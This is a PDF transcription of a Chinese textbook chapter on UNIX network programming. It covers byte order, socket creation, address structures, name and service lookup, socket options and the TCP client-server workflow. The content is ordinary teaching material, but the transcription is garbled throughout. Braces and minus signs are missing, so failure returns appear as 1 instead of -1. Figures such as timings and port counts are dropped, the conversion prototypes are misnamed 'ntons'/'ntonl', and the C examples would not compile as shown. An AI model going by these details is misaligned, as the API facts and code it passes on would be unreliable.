Microsoft Word - 第5章.doc

Size: px
Start display at page:

Download "Microsoft Word - 第5章.doc"

Transcription

1 第 5 章 网络通信 所谓通信, 是指将一个实体 ( 信源 ) 的信息传送给另一实体 ( 信宿 ) 的具体实现 参与通信的两个实体之间通过信道连接并传递信息 信道有物理信道和逻辑信道之分, 物理信道是指用来传送信号或数据的物理通路, 它由传输介质及相关通信设备组成 ; 而逻辑信道则是信息的逻辑通路, 其特性决定了双方通信的类型 物理信道可以支持多种逻辑信道, 而每一种逻辑信道只允许使用一种通信类型 第 3 章讨论的 IPC 机制 ( 进程间通信机制 ) 中的管道 文件 共享内存和消息队列等都属于逻辑信道 网络通信, 则是以网络作为信道 ( 物理信道和逻辑信道 ) 所实现的通信 从软件层面讲, 网络通信依然是一种进程间通信, 只是它更强调在不同平台 ( 操作系统 ) 上的实现 由于网络本身的特点 ( 地理位置和异构环境 ), 使得网络通信技术与生俱来地面对更多问题, 主要表现在不可预测的时序问题和不可及时检测到的远程故障问题等 而这些问题的发生不可避免, 但通过建立合理的网络通信机制和通信模型可以有效处理相关问题 所以, 系统编程的主要任务之一就是构建完整而严谨的网络逻辑信道, 为网络应用和网络安全提供技术保障 这其中套接字 (socket) 作为 UNIX 的一种特殊文件类型, 是进程与网络之间实现通信的重要载体, 已被广泛认可并成为事实上的工业标准 本章将结合实例讲述套接字及其相关应用, 通过对本章的学习, 应该掌握如下知识点 什么是套接字 面向连接的通信 面向无连接的通信 基于 IP 层和数据链路层的通信 并发 socket 编程与各种并发模型 5.1 引例 什么是网络通信呢? 如何实现该类通信呢? 不妨先通过分析常用的 FTP( 文件传输协议 ) 服务系统来了解该类通信的特点 FTP 服务系统可以实现不同主机系统下的文件传输, 在网络通信中具有一定的代表性, 如图 5.1 所示 当在命令行下输入 ftp 命令, 便可以得到如图 5.1 所示的界面, 然后输入用户名和密码, 就可以登录远端的 FTP 主机 接着便可以使用 put 或 get 命令实现文件的上传或下载操作, 如图 5.2 所示

2 156 基于 UNIX/Linux 的 C 系统编程 图 5.1 FTP 服务登录界面 图 5.2 FTP 上传和下载操作界面 图 5.2 中 put test2.txt 命令就是执行文件上传操作, 可以将本地的 test2.txt 文件上传到远端的 FTP 主机上 从命令的输出可以看出该命令发送 314 个字节, 用时 秒,

3 第 5 章网络通信 157 传输速率为 kb/s get test1.txt 命令则是文件下载操作, 该操作将远程主机中的 test1.txt 文件下载到本地机上 从命令输出的结构可以看到该命令接收 314 个字节, 用时 s, 下载速率为 54Kb/s 若使用完该文件传输服务, 可以使用 bye 命令退出该系统, 如图 5.3 所示 图 5.3 FTP 退出界面 通过分析该例的通信过程, 可知其与之前所学通信方式有所不同, 本例中的通信双方是在两台主机下进行的 一台是请求服务方, 通过此台主机发出连接请求 ( 如 : 输入命令 ftp ), 身份验证通过后便与另一台主机建立连接, 然后获得文件传输服务, 由于此类主机只接受服务, 所以称为客户机 ; 而另一台则是提供服务方 ( 例中 IP 地址为 所代表的就是此台主机 ), 该主机往往是被动操作的, 也就是说它不主动发起请求, 而是等待并接收其他主机发来的请求, 并且根据具体情况提供相应服务, 由于此类主机只提供服务, 所以称为服务器 客户机 / 服务器模式能够明确并清晰界定通信双方的职能和应用领域, 是当前通用的网络通信模式 若从实现或编程的角度来考察此类模式, 可以提出这样几个问题 : 网络通信一直强调是进程间通信, 并且是在不同主机下的进程间通信 但在网络中各主机独立分配的进程号是不能唯一标识进程的, 那么如何去标识网络中的进程呢? 由于网络是多种协议或服务并行的环境, 且不同协议下工作方式和地址格式也是不同的, 那么如何区分不同的协议或服务, 如何保证进程间能够在同一协议或服务下实现通信? 由于不同类型的主机存放多字节值的顺序是不同的, 而网络中的主机并不能保证同构, 那么在异构计算机间的通信如何能够保证数据顺序的正确性? 与之前的通信机制不同, 网络通信的载体是网络, 那么如何以程序的形式实现对网络的 读 写 呢? 5.2 网络编程基础 如何标识网络中的进程 通常, 网络中的进程是用一个三元组 ( 半相关 ) 作全局唯一标识的 这个三元组包括协议 本地地址和本地端口

4 158 基于 UNIX/Linux 的 C 系统编程 协议 : 是指为网络中进行数据交换而建立的规则 标准或约定的集合 两个相互通信的进程可以处于不同的地理位置, 但是必须处于同一协议之下 就像两个人在进行交流时, 必须要有共同的语言或彼此理解的手势一样 本地地址 : 是指在网络中如何标识一台主机 由于网络通信中的两个通信进程分别在不同的主机上, 而主机可能位于不同的网络, 所以这里的地址需要包括两层含义 : 即网络地址和主机地址 在 TCP/IP 协议中用 32 位整数值来表示该地址 本地端口 : 是指一种抽象的软件结构 ( 包括一些数据结构和 I/O 缓冲区 ) 端口位于网络中的第四层传输层, 应用程序或进程通过系统调用与某端口建立连接后, 传输层传递给该端口的数据将被相应进程所接收, 同样相应进程发给传输层的数据也会通过该端口输出 由于端口操作类似于一般的 I/O 操作, 进程获取一个端口, 就相当于获取本地唯一的 I/O 文件, 所以端口常被作为通信进程在主机上的唯一标识 在 TCP/IP 协议中使用 16 位端口号来标识用户进程 通过以上三个要素实现了网络中进程的唯一标识 ( 在某协议下, 网络标识 + 主机标识 + 端口标识 ) 该标识信息丰富, 是网络编程的重要基础 主机字节次序与网络字节次序 不同的计算机厂商在计算机内部存储整数的方法 ( 即主机字节次序 ) 会有所不同 比如对于一个 4 字节的整数 :0x , 占用 4 个存储单元 在 x86 系列 CPU 中将整数的低字节放在最低地址处, 这种排列称为小端方式 (Little Endian), 该整数排列如下 : Byte3 Byte2 Byte1 Byte 而对于 PowerPC 和 Sparc 的 CPU 中将整数的低字节放在最高地址处, 这种安排称为大端方式 (Big Endian), 该整数排列如下 : Byte3 Byte2 Byte1 Byte 所以为了保证各计算机之间的互连性, 要求所有的数据按统一的字节顺序传输, 于是出现了网络字节次序 网络字节次序的规定与 x86 的主机字节次序相反 在 UNIX 中提供了 htons htonl 两个函数, 分别将短整数和长整数从主机字节次序转换到网络字节次序 相应地,ntohs 和 ntohl 则是把短整数和长整数网络字节顺序转换到主机字节顺序 需要指出的是, 为保证源程序的可移植性, 即使所用的 UNIX 中主机字节顺序与网络字节顺序正好吻合, 也不要省略掉所必需的 htons htonl ntohs 和 ntohl 在本章随后的网络编程部分中将要求按网络字节次序排列 其函数原型如下 : #include "netinet/in.h" unsigned short int htons(unsigned short int hostshort); unsigned long int htonl(unsigned long int hostlong); unsigned short int ntons(unsigned short int netshort);

5 第 5 章网络通信 159 unsigned long int ntonl(unsigned long int netlong); 其中, 前两个函数将主机字节顺序转换成网络字节顺序 ; 后两个函数将网络字节顺序转换成主机字节顺序 面向连接方式和无连接方式 进程经网络进行通信时, 有两种方法可以选择 面向连接的方式 : 即虚电路方式 这种连接是指在两个连接端点之间建立一条虚电路, 在内部表现为一些缓冲区和一组协议机制 在该方式下, 两端点间只有在建立连接后才能传输数据 一旦连接建立, 双方均可向对方发送非格式化的 可靠的字符流 例如远程登录就是采用这种方式 在网络编程中对于连接的标识一般采用五元组方式 ( 全相关 ) 来表示 这个五元组包括协议 本地地址 本地端口号 远程地址和远程端口号, 即两个协议相同的半相关组合成一个合适的全相关, 即一个连接 无连接方式 : 即数据报方式 此种方式不需建立连接, 并提供面向事务的简单不可靠信息传送服务 无连接协议的每个报文包含一个完整的传送地址 数据在传输之前, 发送方和接收方需要相互交换信息使双方同步, 数据发送后, 发送方不知道数据是否被正确接收, 也不会重发数据, 同样接收方不发送确认信号, 也不对收到的数据排序, 所以无连接方式属于不可靠通信方式, 但其传输速率则比连接方式快, 且其系统开销也较少 实现网络编程 网络协议规定了两台计算机之间进行数据交换的共同规则 ( 包括数据格式和操作流程 ), 然而它并没有规定应用程序与这些协议之间的程序接口 在 UNIX 中, 网络传输层及其以下层的协议主要用于负责网络传输 ( 通信子网部分 ), 一般由操作系统内核直接实现 为了满足与日俱增的网络编程需求,UNIX 便在传输层上规定了应用程序使用内核实现网络通信的方法 由于 UNIX 总是习惯于将设备或其他机制组织成文件的形式, 然后再以普通文件的方式访问它们, 所以 UNIX 也是通过文件描述符引用特殊文件的方法来访问网络的 但是网络机制远比终端 管道复杂得多, 所以 UNIX 还必须提供与之相应的一组系统调用来实现网络所需功能, 而这组系统调用就是应用程序与网络之间的接口 目前, 应用程序与网络之间的接口主要有两种, 即 socket 套接字和 TLI(Transport Layer InterFace, 传输层接口 ) 其中,socket 最先由 4.3 版的 BSD 提供,TLI 由 AT&T 的 System V 提供 除此之外, 还有其他的几种接口, 但大都没有被程序员普遍接受, 这里将不再提及 TLI 和 socket 的继承层次几乎相同, 但 TLI 不定义 UNIX 域协议族的接口, 且到目前为止也没有被移植到 Windows 32 平台, 所以 TLI 的应用受到很大限制 而 socket 则不同, 其对几乎所有操作系统都留有接口, 且应用十分广泛, 因而为大多数程序员所偏爱 鉴于本书的定位, 这里仅讨论基于 socket 的网络编程技术

6 160 基于 UNIX/Linux 的 C 系统编程 5.3 套接字 socket 的英文原义是 孔 或 插座 在这里作为 Berkeley UNIX 的一种进程通信机制, 成为网络编程的事实标准 不同或相同主机中的进程可以使用相同的规范进行双向的通信 如图 5.4 所示 在 UNIX 中, 使用套接字 (socket) 主要是用来实现网络编程 网络程序通过系统调用 (socket 函数 ) 来获取一个用于通信的文件描述符, 即套接字, 然后程序可以像操作普通文件一样对该描述符进行读写, 进而实现网络之间的数据交流 从用户的角度看, 套接字是网络通信端点的一种抽象概念, 它为用户提供了一种在网络上发送和接收数据的机制 图 5.4 套接字在操作系统中的位置 创建套接字 为了执行网络 I/O, 需要做的第一项工作就是调用 socket 函数来指定期望的通信协议类型, 并能返回一个新创建的套接字描述符 ( 类似于文件描述符 ) socket 函数定义如下 : #include <sys/socket.h> #include <sys/types.h> int socket(int family, int type, int protocol); 其中参数 family 为指定套接字的域,type 为指定套接字类型,protocol 为指定套接字协议, 若函数调用成功, 则返回所指定的套接字描述符, 否则返回 1 1. 套接字域套接字域 (domain) 定义了网络协议族 (family) 及其套接字所支持的寻址方案 引入该域的目的主要是为了支持包括 TCP/IP 协议在内的大多网络协议, 从而为套接字成为通用网络编程工具创造条件 表 5.1 列出了几个可能的域类型 值得一提的是, 在有些教科书中经常会看到使用 AF_XXX( 如 PF_INET) 来描述套接字域, 这里需要作出解释 所谓 AF, 其英文是 Address Family, 是 BSDUNIX 最早采纳的标准 ; 而 PF 的英文是 Protocol Family, 是 POSIX 所公布的标准 有资料里指出, 理论上

7 第 5 章网络通信 161 在建立 socket 时, 若是指定协议, 应使用 PF_XXX; 若是设置地址, 应使用 AF_XXX 但在实际应用中, 两者差别不大, 混用也不会有太大问题 表 5.1 套接字域常量描述 PF_UNIX UNIX 主机内部的进程间的通信 PF_INET ARPA 网际协议 (IPv4 协议 ) PF_INET6 ARPA 网际协议 (IPv6 协议 ) PF_ROUTE 路由套接字 PF_ISO 国际标准组织协议 PF_NS Xerox 网络协议 2. 套接字类型针对不同的通信需求, 通常提供了 3 种不同的套接字类型 流套接字 (SOCK_STREAM): 用于提供面向连接 可靠的数据传输服务 该服务将保证数据能够实现无差错 无重复发送, 并按顺序接收 流套接字之所以能够实现可靠的数据服务, 原因在于其使用了传输控制协议 TCP 这类套接字中, 传输数据之前必须在两个应用进程之间建立一条通信连接, 这就确保了参与通信的两个应用进程都是活动并且响应的 当连接建立之后, 应用进程只要通过套接字向 TCP 层发送数据流, 而另一个应用进程便可以接收到相应的数据流, 它们不需要知道传输层是如何对数据流进行处理 特别需要注意的是通信连接必须显式建立 该套接字类型适合传输大量的数据, 但不支持广播和多播方式 数据报套接字 (SOCK_DGRAM): 提供了一种无连接的服务, 通信双方不需要建立任何显式连接, 数据可以发送到指定的套接字, 并且可以从指定的套接字接收数据 该服务并不能保证数据传输的可靠性, 数据有可能在传输过程中丢失或出现数据重复, 且无法保证顺序地接收到数据 数据报套接字使用 UDP 进行数据的传输 由于数据包套接字不能保证数据传输的可靠性, 对于有可能出现的数据丢失情况, 需要在程序中做相应的处理 与数据报套接字相比, 使用流式套接字是一个更为可靠的方法, 但对于某些应用, 建立一个显式连接所导致的系统开销是令人难以接收的, 并且数据报套接字支持广播和多播方式 原始套接字 (SOCK_RAW): 与标准套接字 ( 标准套接字指的是前面介绍的流套接字和数据报套接字 ) 的区别在于 : 原始套接字可以读写内核没有处理的 IP 数据包, 而流套接字只能读取 TCP 的数据, 数据报套接字只能读取 UDP 的数据 使用原始套接字则可以避开 TCP/IP 处理机制, 被传送的数据包可以被直接传送给需要它的应用程序 因此, 其主要是在编写自定义底层协议的应用程序时使用, 例如各种不同的 TCP/IP 实用程序 ( 如 ping 和 arp) 都使用原始套接字实现, 也可以用来实现数据包捕捉分析等 Raw socket 与标准套接字 (SOCK_STREAM SOCK_DGRAM) 的区别在于前者直接植 根 于操作系统网络核心 (Network Core), 而 SOCK_STREAM SOCK_DGRAM 则

8 162 基于 UNIX/Linux 的 C 系统编程 悬浮 于 TCP 和 UDP 协议的外围, 如图 5.5 所示 图 5.5 Raw socket 与标准套接字 使用 Raw socket 可以完全自定义 IP 包, 一切形式的包都可以 制造 出来 3. 套接字协议 对于给定的套接字域和类型, 可能有一个或多个协议实现所需的操作 表 5.2 列出了 一些常用的套接字协议 一般来说, 套接字协议取值为 0, 除非用在原始套接字上 表 5.2 套接字协议 协议 描 述 TCP 用于字节流套接字的传输控制协议 UDP 用于数据报套接字的用户数据报协议 ICMP Internet 控制信息协议 RAW 手工创建 IP 数据包 值得注意的是, 并非所有套接字域和类型的组合都是有效的, 表 5.3 给出了一些有效 组合和对应的真正协议 其中标为 Yes 的项也是有效的, 但还没有找到便捷的缩略词 ; 而空白项则是不支持的 表 5.3 套接字协议与类型的组合 域类型 PF_INET PF_INET6 PF_UNIX PF_ROUTE SOCK_STREAM TCP TCP PF_UNSPEC SOCK_DGRAM UDP UDP PF_UNSPEC SOCK_RAW IP IP Yes

9 第 5 章网络通信 套接字寻址 一个进程为了能与另一个进程通信, 彼此必须知道对方的标识, 在网络中的进程间通信也同样如此 之前已经讨论过网络中的进程如何标识的问题, 而这个标识就是所谓的套接字地址 每种协议簇都定义了自己的套接字地址结构, 这些结构的名字均以 sockaddr_ 开头, 并以对应每种协议簇的唯一后缀结束 下面就一些常见的套接字地址结构展开讨论 1.IPv4 套接字地址结构该结构以 sockaddr_in 命名, 其在头文件 <netinet/in.h> 中的定义如下 : struct in_addr in_addr_t s_addr; /*32 位的 IPv4 地址 */ ; struct sockaddr_in uint8_t sin_len; /* 地址结构的长度, 值为 16*/ sa_family_t sin_family; /* 套接字类型为 PF_INET*/ in_port_t sin_port; /*16 位的 TCP 或 UDP 端口号 */ struct in_addr sin_addr; /*32 位的 IPv4 地址 */ char sin_zero[8]; /* 还未使用 */ ; 其中 : in_addr_t 无符号 32 位整数类型, 定义在 <netinet/in.h> uint8_t 无符号 8 位整数类型, 定义在 <sys/types.h> sa_family_t 套接字地址结构的地址簇, 定义在 <sys/socket.h> in_port_t 无符号 16 位整数类型, 定义在 <netinet/in.h> sin_zero 暂不使用, 但总是将它置为 0 为了方便起见, 在初始化时, 一般将整个结构置为 0, 而不仅仅是将 sin_zero 置为 0 此外,UNIX 还定义了一些具有特殊意义的 IP 地址, 声明在头文件 <netinet/in.h> 中 : INADDR_LOOPBACK 表示本机器地址, 统一定义为 INADDR_BROADCAST 广播地址, 用来进行消息广播的特定地址 INADDR_ANY 通配名 需要指出的是, 套接字地址结构仅在给定的主机上使用 虽然结构中的某些成员 ( 如 IP 地址 端口号 ) 用在不同主机间的通信, 但结构本身并不参与通信 2.IPv6 套接字地址结构 IPv6 套接字地址结构以 sockaddr_in6 命名, 其在头文件 <netinet/in.h> 中的定义如下 : struct in6_addr unit8_t s6_addr[16]; /*128 位的 IPv6 地址, 网络字节顺序存储 */ ; #define SIN6_LEN /* 定义套接字地址结构中的长度成员 */ struct sockaddr_in6 uint8_t sin6_len; /* 地址结构的长度, 值为 24*/

10 164 基于 UNIX/Linux 的 C 系统编程 ; sa_family_t sin6_family; /* 套接字类型为 PF_INET6*/ in_port_t sin6_port; /*16 位的 TCP 或 UDP 端口号 */ uint32_t sin6_flowinfo; /* 优先级和流量标记 */ struct in6_addr sin6_addr; /*128 位的 IPv6 地址, 网络字节顺序存储 */ 由于 IPv4 和 IPv6 两种协议主要区别是在地址长度的不同, 所以其套接字的地址结构也有所体现, 如图 5.6 所示 图 5.6 IPv4 和 IPv6 两种套接字地址结构比较 3. 通用套接字地址结构当作为参数传递给任何一个套接字函数时, 套接字地址结构总是通过指针来传递, 但是通过指针来取得此参数的套接字函数必须处理来自所支持的任何协议族的套接字地址结构 为此, 需定义一个通用的套接字地址结构, 其在头文件 <sys/socket.h> 中的定义如下 : struct sockaddr uint8_t sa_len; /* 地址结构的长度 */ sa_family_t sa_family; /* 套接字类型 */ char sa_data[14]; /* 与套接字类型对应的地址 */ ; 使用结构 sockaddr 可以取得更好的可移植性 为了同时支持 IPv4 和 IPv6 协议, 编程中应该使用结构 sockaddr, 而避免使用结构 sockaddr_in 和结构 sockaddr_in6 4. 地址转换函数 1) 字符串型地址与二进制型地址对于在 ASCII 字符串与网络字节序的二进制值 ( 此值存于套接字地址结构中 ) 之间转换地址的函数, 一般有两组 : 一组适用于 IPv4 地址的 inet_aton inet_addr 和 inet_ntoa 函数 ; 另一组能对 IPv4 和 IPv6 地址都能处理的 inet_pton 和 inet_ntop 函数 这里重点介绍后面一组的两个函数 #include <arpa/inet.h>

11 第 5 章网络通信 165 int inet_pton(int family, const char *strptr, void *addrptr); const char *inet_ntop(int family, const void *addrptr, char *strptr, size_t len); 上述函数中,p 代表 presentation( 表达 ) 格式,n 代表 numeric( 数值 ) 格式 地址的表达格式通常是 ASCII 串, 数值格式则是存在于套接字地址格式中的二进制 顾名思义, inet_pton 函数是将地址从表达格式转换为数值格式, 而 inet_ntop 函数刚好相反, 是将数值格式转换为表达式格式 若 inet_pton 函数调用成功, 则返回 1; 若返回 0, 则表示输入不是有效的表达格式 ; 若返回 1, 则表示出错, 并将错误代码写入 errno 若 inet_ntop 函数调用成功, 则返回指向结果的指针, 否则返回 NULL 需要指出,inet_pton 和 inet_ntop 函数在处理地址时, 要求调用者指明地址是 in_addr 或 in6_addr 结构 也就是说, 为了使用 inet_ntop 函数, 必须分别为 IPv4 和 IPv6 编写额外的代码段 为 IPv4 编写如下的代码 : struct sockaddr_in addr; inet_ntop(pf_inet, &addr.sin_addr, str, sizeof(str)); 为 IPv6 编写如下的代码 : struct sockaddr_in6 addr; inet_ntop(pf_inet6, &addr.sin6_addr, str, sizeof(str)); 这就使得所编写的代码与地址协议簇协议相关 因此, 若要实现与协议无关的编程, 提高程序的可移植性, 就要避免使用这两个函数, 而使用 getnameinfo 和 getaddrinfo 两个函数 2) 主机名与 IP 地址为方便记忆, 计算机都有一个主机名, 这样就不必记忆复杂的数点形式的 IP 地址 当前所有的操作系统中都有一个 hosts 文件用于记录主机名与数点形式的 IP 地址的映射 而在系统编程中,UNIX 通常使用 hostent 结构来描述与主机名相关的信息 其结构定义如下 : #include <netdb.h> struct hostent char * h_name; /* 主机的正式名称 */ char ** h_aliases; /* 主机的别名 */ int h_addrtype; /* 主机的地址类型 PF_INET*/ int h_length; /* 主机的地址长度对于 IP4 是 4 字节 32 位 */ char ** h_addr_list; /* 主机的 IP 地址列表 */ #define h_addr h_addr_list[0] /* 主机的第一个 IP 地址 */ 同时 UNIX 系统还为该结构设置了相关的函数, 其函数原型如下 : #include <netdb.h> struct hostent* gethostbyname( char *name); struct hostent* gethostbyaddr( void *addr, size_t length, int type );

12 166 基于 UNIX/Linux 的 C 系统编程 其中 gethostbyname 可以将主机名转换为一个指向 hostent 结构的指针, 通过该结构获取主机相关信息 gethostbyaddr 可以将一个 32 位的 IP 地址 ( 二进制型 IP 地址, 如 :C0A80001) 转换为指向该结构的指针 这两个函数若调用失败则返回 NULL 3) 服务与端口地址 UNIX 系统为处理服务信息, 定义了 servent 结构用于描述服务相关信息 该结构定义如下 : #include <netdb.h> struct servent char * s_name; char** s_aliases; int s_port; char * s_proto; // 服务的正式名称 // 服务的可选别名 // 服务使用的端口号 // 与该服务一起使用的协议名 同时 UNIX 系统也为该结构设置了相关的函数, 其函数原型如下 : #include <netdb.h> struct servent* getservbyname(char *name,char* proto); struct servent* getservbyport(int port, char* proto); 其中 getservbyname 函数可以通过给定的服务名和协议名获得一个指向 servent 结构的指针, 从而从该结构中获取相关服务信息 getservbyport 函数则可以通过给定端口地址和协议名获取 servent 结构的指针 这两个函数若调用失败则返回 NULL 例 5-1 验证上述函数的可行性 #include <stdio.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> int main(int argc, char **argv) struct hostent *host; struct servent *serv; if (argc!= 3) return 1; if (strcmp(argv[1],"dns")==null) if ((host = gethostbyname(argv[2])) == NULL) printf("gethostbyname error!\n"); return 2; printf(" Host name:%s\n", host->h_name); printf("host IP :%s\n", inet_ntoa(*((struct in_addr *)host-> h_addr)));

13 第 5 章网络通信 167 else if (strcmp(argv[1],"serv")==null) if ((serv = getservbyname(argv[2], "tcp")) == NULL) printf("getservbyname error!\n"); return 2; printf("serv name:%s\n", serv->s_name); printf("serv Port :%d\n", ntohs(serv->s_port)); return 0; 运行结果如图 5.7 所示 图 5.7 例 5-1 的运行结果 套接字选项 在进行网络编程的时候, 经常需要查看或者设置套接字的某些特性, 例如设置地址复用 读写数据的超时时间 对读缓冲区的大小进行调整等操作 函数 getsockopt 用于获得套接字选项的设置情况, 函数设置 setsockopt 套接字选项 其函数原型如下 : #include <sys/types.h> #include <sys/socket.h> int getsockopt(int s, int level, int optname, void *optval, socklen_t *optlen); int setsockopt(int s, int level, int optname, const void *optval, socklen_t optlen); 其中参数 s 为标识一个套接字的描述符 ; 参数 level 是选项定义的层次, 目前仅支持 SOL_SOCKET( 通用套接字选项 ) IPPROTO_IP(IP 选项 ) 和 IPPROTO_TCP(TCP 选项 ); 参数 optname 为需设置的选项 ; 参数 optval 为指向存放选项值的缓冲区指针 ; 参数 optlen

14 168 基于 UNIX/Linux 的 C 系统编程 为 optval 缓冲区长度 在不同协议层上存在选项, 但往往会出现在最上面的套接字层 当 对套接字选项进行操作时, 必须要给出选项所处的层和选项名称 设置选项将影响套接口 的操作, 诸如操作的阻塞与否 包的选径方式 带外数据的传送等 这两个函数若调用成 功, 则返回 0, 否则返回 1 若未进行 setsockopt 调用, 则调用 getsockopt 函数将返回系统默认值 如表 5.4 所示, 表中所列常用套接字选项, 其中表中 y 表示该选项被对应函数支持 表 5.4 常用套接字选项 level Optname getsocket setsocket 说 明 SO_BROADCAST y y 允许发送广播数据报 SO_DEBUG y y 使能调试跟踪 SO_DONTROUTE y y 旁路路由表查询 SO_ERROR y 获取待处理错误并消除 SO_KEEPALIVE y y 周期性测试连接是否存活 SO_LINGER y y 若有数据待发送则延迟关闭 SO_OOBINLINE y y 让接收到的带外数据继续在线存放 SO_RCVBUF y y 接收缓冲区大小 SOL_SOCKET SO_SNDBUF y y 发送缓冲区大小 SO_RCVLOWAT y y 接收缓冲区低潮限度 SO_SNDLOWAT y y 发送缓冲区低潮限度 SO_RCVTIMEO y y 接收超时 SO_SNDTIMEO y y 发送超时 SO_REUSEADDR y y 允许重用本地地址 SO_REUSEPORT y y 允许重用本地端口 SO_TYPE y 取得套接口类型 SO_USELOOPBACK y y 路由套接口取得所发送数据的拷贝 IP_HDRINCL y y IP 头部包括数据 IP_OPTIONS y y IP 头部选项 IP_RECVDSTADDR y y 返回目的 IP 地址 IP_RECVIF y y 返回接收到的接口索引 IP_TOS y y 服务类型和优先权 IPPROTO_IP IP_TTL y y 存活时间 IP_MULTICAST_IF y y 指定外出接口 IP_MULTICAST_TTL y y 指定外出 TTL IP_MULTICAST_LOOP y y 指定是否回馈 IP_ADD_MEMBERSHIP y 加入多播组 IP_DROP_MEMBERSHIP y 离开多播组 TCP_KEEPALIVE y y 控测对方是否存活前连接闲置秒数 TCP_MAXRT y y TCP 最大重传时间 IPPROTO_TCP TCP_MAXSEG y y TCP 最大分节大小 TCP_NODELAY y y 禁止 Nagle 算法 TCP_STDURG y y 紧急指针的解释

15 第 5 章网络通信 169 例 5-2 某个服务器进程占用了 TCP 的 80 端口进行侦听, 当再次在此端口侦听时, 系统往往会因地址冲突而返回错误 这主要是因为对于某些非正常退出的服务器程序, 操作系统可能需要占用端口一段时间才能允许其他进程使用, 即使这个程序已经终止, 内核仍然需要一段时间才能释放此端口 而通过设置套接字选项 SO_REUSEADDR( 允许重用本地地址 ) 则可以解决这类问题 #include <sys/types.h> #include <errno.h> #include <sys/socket.h> int initserver(int type, const struct sockaddr *addr, socklen_t alen, int qlen) int fd, err; int reuse = 1; if ((fd = socket(addr->sa_family, type, 0)) < 0) return(-1); if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(int))< 0) err = errno; goto errout; if (bind(fd, addr, alen) < 0) err = errno; goto errout; if (type == SOCK_STREAM type == SOCK_SEQPACKET) if (listen(fd, qlen) < 0) err = errno; goto errout; return(fd); errout: close(fd); errno = err; return(-1); 这里代码中有关 bind 函数和 listen 函数的用法将在后续章节中讨论 5.4 面向连接的通信 随着 socket 应用程序接口的引入, 使得两台具有 socket 接口的计算机可以通过软件的方式实现通信 而这种 socket 接口就是所谓的端口, 它位于 OSI 网络模型中的第四层 传输层上 端口是应用程序 ( 进程 ) 与网络进行通信的通道, 不同的端口就代表不同的对外联络通道, 所以各种通过端口实现的服务即使同时工作, 也不会发生冲突 碰撞的问题

16 170 基于 UNIX/Linux 的 C 系统编程 这也是为什么一台服务器可以同时对外提供多种服务的主要原因 在 TCP/IP 协议栈中, 一个 IP 地址代表一台主机, 端口则代表主机与外界通信的门, 但这个门并不是唯一的, 而是很多 通常一个 IP 地址对应有 个 TCP 端口和 个 UDP 端口 由于 TCP 和 UDP 的特点不同, 所以其编程手段也不相同, 这里将讨论 TCP 套接字编程 TCP 协议的编程模型 TCP, 全称 Transfer Control Protocol, 中文名为传输控制协议, 它工作在 OSI 的传输层, 提供面向连接的可靠传输服务 该协议采用客户机 - 服务器模式, 套接字的全部工作流程如图 5.8 所示 图 5.8 TCP 通信流程图步骤 1: 服务器端启动进程, 调用 socket 创建一个基于 TCP 协议的流套接字描述符 步骤 2: 服务进程调用 bind 函数命名套接字, 将套接字描述符绑定到本地地址和本地端口上, 完成服务器端的一个套接字半相关描述 协议, 本地地址, 本地端口 步骤 3: 服务器端调用 listen 函数, 开始侦听客户端的 socket 连接请求 对于客户端, 客户端也要创建一个套接字描述符, 并且调用 connect 函数向服务器端提交连接请求 步骤 4: 当服务器端接收到客户端连接请求后, 调用 accept 函数接受, 并创建一个新的套接字描述符与客户端建立连接, 然后原套接字描述符继续侦听客户端的连接请求 步骤 5: 客户端与服务器端的新套接字进行数据传送, 可以使用 write 或 send 函数向

17 第 5 章网络通信 171 对方发送数据, 也可使用 read 或 recv 函数接收数据 ( 注 :send 和 recv 函数是 TCP 套接字编程的专用函数, 且仅限于此类编程使用 ) 步骤 6: 在数据交流完毕后, 双方调用 close 或 shutdown 关闭套接字 至此一个 TCP 传输过程结束 1.socket 的创建 UNIX 中使用函数 socket 创建套接字描述符, 该函数在 5.3 节已经讨论过, 此处不再赘述 比如创建 PF_INET 协议簇上的流 (TCP) 套接字描述符, 可以使用 : socket(pf_inet,sock_stream,0); 或 socket(pf_inet,sock_stream,tcp); 若创建 PF_INET 协议簇上的数据报 (UDP) 套接字描述符, 可以使用 : socket(pf_inet,sock_dgram,0); 或 socket(pf_inet,sock_dgram,udp); 2.socket 的命名函数 bind 用于命名一个套接字, 这里的 命名 并非是取一个名字, 而是为该套接字描述符分配一个半相关属性, 其函数说明如表 5.5 所示 所需头文件函数原型参数返回值 表 5.5 bind 函数语法要点 #include <sys/socket.h> #include <sys/types.h> int bind(int sockfd,const struct sockaddr *myaddr,socklen_t addrlen); sockfd: 套接字描述符 myaddr: 是一个指向特定协议的地址结构的指针 addrlen: 该地址结构的长度若函数调用成功, 则返回 0, 否则返回 1 并将错误码写入 errno 对于 TCP, 调用函数 bind 可以指定一个 IP 地址或者指定一个端口号, 也可以两者都指定, 也可以一个也不指定 ( 将地址设为通配地址, 端口号设为 0) 若 TCP 客户端或服务器不指定端口, 则当调用函数 connect 或 listen 时, 内核就要为套接字选择一个临时端口 让内核来选择临时端口, 这对 TCP 客户端来说是正常的 ; 但对 TCP 服务器来说是极少见的, 因为服务器是通过众所周知端口对外提供服务的 进程可以把一个特定的 IP 地址捆绑到它的套接字上, 但此 IP 地址必须是主机的一个接口 对于 TCP 客户端, 这就为此套接字上发送的 IP 数据报分配了源 IP 地址 ; 对于 TCP 服务器端, 这就限制了套接字只接收那些目的地为此 IP 地址的数据报 TCP 客户端一般不把 IP 地址捆绑到它的套接字上, 当连接套接字时由内核根据所用的输出接口来选择源 IP 地址 ;TCP 服务器若不把 IP 地址捆绑到套接字上, 内核就把客户端所发数据包的目的 IP 地址作为服务器端的源 IP 地址

